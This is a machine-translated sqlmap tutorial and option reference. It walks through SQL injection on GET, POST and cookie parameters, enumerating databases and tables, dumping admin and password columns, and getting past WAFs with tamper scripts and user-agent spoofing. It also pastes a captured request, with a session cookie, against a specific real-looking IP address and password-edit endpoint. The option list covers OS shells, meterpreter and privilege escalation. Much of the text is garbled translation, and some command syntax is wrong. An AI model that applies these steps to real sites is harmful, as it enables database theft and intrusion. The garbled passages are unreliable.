Keep a record of Sqlmap's orders.

./sqlmap.py-u ' Destination URL '

./sqlmap.py-u ' destination URL '--dbs-v 0 display database

./sqlmap.py-u ' Destination URL '-d database--tables look up table

./sqlmap.py-u ' Destination URL '-D database-T table--columns column

./sqlmap.py-u ' Destination URL '-D database-t table--columns--dump Export

The injection division method is different, the kind is different, comes a simple classification:

Model 1.get: Sqlmap-u "Http://xxx.xx.xxx/xx.xxx?xx=xxx"

Model 2.post: Sqlmap-u "http://xxx.xx.xxx/xx.xxx"--data= "xxxx=xxxx&xxxx=xxx"

3.cookie class Injection: Sqlmap-u "http://xxx.xx.xxx/xx.xxx?xx=xxx"--cookie= "xxx=xxx&xxx=xxx" –level=2

---------------The following is a copy----------------

Recently saw a lot of Daniel Hair Sqlmap video tutorial.

And then I went to the bottom of the fart, and then a few, and then the end of the beginning to see ... All kinds of popular science ah, watching video a bit of a waste of time.

Everybody don't go to be the pit father, come a sqlmap simple tutorial forget, why waste watching video time.

Sqlmap is a Python script, and the script has to be –help-hh.

So the first thing, of course, is to go see the help documentation.

Sqlmap-hh

I'm so damn .... So much English, how many grass mud horse in the heart Pentium, what to do, the bite to see Bai, some people scalp hard to do, simple, come, brother teach you simple

The injection division method is different, the kind is different, comes a simple classification:

Model 1.get: Sqlmap-u "Http://xxx.xx.xxx/xx.xxx?xx=xxx"

Model 2.post: Sqlmap-u "http://xxx.xx.xxx/xx.xxx" –data= "xxxx=xxxx&xxxx=xxx"

3.cookie class Injection: Sqlmap-u "http://xxx.xx.xxx/xx.xxx?xx=xxx" –cookie= "xxx=xxx&xxx=xxx" –level=2

Well, after the distinction is over, follow up.

Database Required Good: –dbs

Get database name xxx, need table:-D xxx–tables

Get table name xxxx, need segment:-D xxx-t xxxx–columns

Get Admin,password in paragraph, need value:-D xxx-t xxxx-c "Admin,password" –dump

So let's take a look at what-d-t-C is, of course, knowing its name and specifying its use.

–dbs–tables–columns is why, of course, do not know the name, listed to Bai

–dump that nature is literally, similar to the behavior of exporting data

Actually injected with these commands above, properly enough, but still need to waf–tamper= ""

Injection is identified as a tool that disconnects what –user-agent= ""

All the more awesome functions are slowly accumulating, do not want to eat into a fat

Http://202.200.48.24:8800/index.php?action=editpwd

Post/index.php?action=editpwd http/1.1

Accept: */*

content-type:application/x-www-form-urlencoded; Charset=utf-8

X-requested-with:xmlhttprequest

Referer:http://202.200.48.24:8800/index.php?action=editpwd

Accept-language:zh-cn

Accept-encoding:gzip, deflate

user-agent:mozilla/5.0 (compatible; MSIE 9.0; Qdesk 2.4.1265.203; Windows NT 6.1; WOW64; trident/5.0)

host:202.200.48.24:8800

Content-length:27

Proxy-connection:keep-alive

Pragma:no-cache

Cookie:phpsessid=ikorg5mtdb73t5anh59sl6pft6

ts=getemail&username=123456

-cookie= ' Phpsessid=ikorg5mtdb73t5anh59sl6pft6 '

Sqlmap parameter explanation

Options (optional):

--version Display the program's version number and exit

-H,--Help displays this assistance message and exits

-vverbose verbosity Level: 0-6 (default = 1)

Target (destination):

At a minimum, you need to set one of these options to set the destination URL.

-ddirect connect directly to the database.

-uurl,--url=url destination URL.

-llist resolves the target from the log of the burp or WebScarab agent.

-rrequestfile loading an HTTP request from a file.

-ggoogledork processes the result of the googledork as the destination URL.

-cconfigfile load options from the INI configuration file.

Request (requested):

These options can be used to specify how to connect to the destination URL.

--data=data data strings sent via post

--cookie=cookiehttpcookie Head

--cookie-urlencodeurl encoding-generated cookie injection

--drop-set-cookie Ignore Set-cookie header information for response

--user-agent=agent Specifying Httpuser-agent Header

--random-agent using a randomly selected Httpuser-agent header

--referer=referer Specifying Httpreferer Header

--headers=headers line break, add other HTTP headers

--auth-type=atypehttp Authentication type (Basic, Digest, or NTLM) (BASIC,DIGESTORNTLM)

--auth-cred=acredhttp authentication Credentials (user name: password)

--auth-cert=acerthttp Certificate (key_file,cert_file)

--proxy=proxy using an HTTP proxy to connect to the destination URL

--proxy-cred=pcredhttp Proxy authentication credentials (user name: password)

--ignore-proxy ignoring the system default HTTP proxy

--delay=delay delay time in seconds between each HTTP request

--timeout=timeout time to wait for the connection to time out (default is 30 seconds)

--retries=retries time the connection is reconnected after timeout (default 3)

--scope=scope regular expression of filter targets from the provided agent log

--safe-url=safurl URL addresses that are frequently accessed during testing

--safe-freq=safreq test requests between two visits, give a secure URL

Optimization (optimized):

These options can be used to optimize the performance of Sqlmap.

-O Turn on all optimization switches

--predict-output prediction of common query output

--keep-alive using a persistent HTTP (S) connection

--null-connection retrieving page lengths from no actual HTTP response body

--threads=threads Maximum http (S) request concurrency (default = 1)

Injection (injection):

These options can be used to specify which parameters are tested, provide custom injection payloads, and optional tamper scripts.

-ptestparameter parameters to test (S)

--dbms=dbms the DBMS of the forced backend for this value

--os=os the DBMS operating system for the forced backend is this value

--prefix=prefix Injecting payload String prefix

--suffix=suffix Injecting payload string suffix

--tamper=tamper using the given script (S) to tamper with the injected data

Detection (detection):

These options can be used to specify how the contents of the HTTP response page are parsed and compared when the SQL blinds are made.

--level=level level of test Execution (1-5, default = 1)

--risk=risk risk of performing tests (0-3, default = 1)

--string=string when query is valid when the page matches a string

--regexp=regexp a regular expression on a page when the query is valid

--text-only based on comparing pages in text content only

Techniques (Tips):

These options can be used to adjust specific SQL injection tests.

--technique=techsql Injection Technology Test (default Beust)

Delay Time of--time-sec=timesecdbms response (default is 5 seconds)

--union-cols=ucols set range for test union query injection

--union-char=uchar characters used for brute-force guessing of the number of columns

Fingerprint (fingerprint):

-F,--Fingerprint perform check of extensive DBMS version thumbprint

Enumeration (enum):

These options can be used to enumerate the information of the backend database management system, the structure in the table, and the data. In addition, you can also run your own

of SQL statements.

-B,--Banner The identification of the database management system

--current-user Retrieving database management system Current user

--CURRENT-DB Retrieving database management system current database

--IS-DBA detecting whether the DBMS current user is DBA

--users Enumerating Database management system users

--passwords enumeration of database management system user password hashes

--privileges enumerate the permissions of the database management system user

--roles enumerating the roles of database management system users

--dbs Enumeration Database Management System Database

--tables enumeration of tables in the DBMS database

--columns Enumerating DBMS database table columns

--dump the table entries in the database of the DUMP database management system

--dump-all dumps all the entries in the DBMS database table

--search Search column (s), table (s) and/or database name (s)

-DDB the name of the database to be enumerated

-TTBL the database table to be enumerated

-ccol the database column to be enumerated

-uuser The database user that is used to enumerate

--exclude-sysdbs to exclude system databases when enumerating tables

--start=limitstart first query output into search

--stop=limitstop the output of the last query into the search

--first=firstchar character retrieval of the first query output word

--last=lastchar the output character retrieval of the last query

--sql-query=query the SQL statement to execute

--sql-shell tips for Interactive SQL shell

Bruteforce (brute force):

These options can be used to run brute force checks.

--common-tables Check Existence common table

--common-columns Check existence Common column

User-definedfunctioninjection (user-defined function injection):

These options can be used to create user-defined functions.

--udf-inject injecting user-defined functions

--shared-lib=shlib local path to shared library

Filesystemaccess (Access file system):

These options can be used to access the underlying file system of the backend database management system.

--file-read=rfile reading files from the backend database management System file system

--file-write=wfile editing a local file on the backend database management System file system

The absolute path to the file written by the database management system on the--file-dest=dfile backend

Operatingsystemaccess (operating system access):

These options can be used to access the underlying operating system of the back-end database management system.

--os-cmd=oscmd executing operating system commands

--os-shell the shell of an interactive operating system

--os-pwn get a oobshell,meterpreter or VNC

--os-smbrelay One click to get a oobshell,meterpreter or VNC

--os-bof stored Procedure Buffer Overflow utilization

--PRIV-ESC Database Process User privilege elevation

--msf-path=msfpathmetasploitframework Local Installation path

--tmp-path=tmppath absolute path to remote temp file directory

Windows Registry access:

These options can be used to access the Windows registry of the back-end database management system.

--reg-read read a Windows registry key value

--reg-add write a Windows registry key value data

--reg-del deleting Windows registry key values

--reg-key=regkeywindows registry key

--reg-value=regvalwindows registry key Value

--reg-data=regdatawindows registry key Value data

--reg-type=regtypewindows registry key Value type

General (Normal):

These options can be used to set some general working parameters.

-ttrafficfile log all HTTP traffic to a text file

-ssessionfile saving and recovering all data retrieved from the session file

--flush-session Refresh the current target session file

--fresh-queries ignores query results stored in the session file

--eta shows the estimated time of arrival for each output

--update Update Sqlmap

--savefile save options to ini config file

--batch never asks for user input, and uses all default configurations.

Miscellaneous (Miscellaneous):

--BEEP alert when SQL injection is found

--check-payloadids testing of injected payloads

--cleanupsqlmap specific UDF and table cleanup DBMS

--forms parsing and testing of target URLs

--gpage=googlepage using Google dork results from the specified page number

--page-rankgoogledork results Show page rank (PR)

--parse-errors parsing the database management system error message from the response page

--replicate copy dump data to a sqlite3 database

--tor using the default Tor (VIDALIA/PRIVOXY/POLIPO) proxy address

--wizard Simple Wizard Interface for novice users

Keep a record of Sqlmap's orders.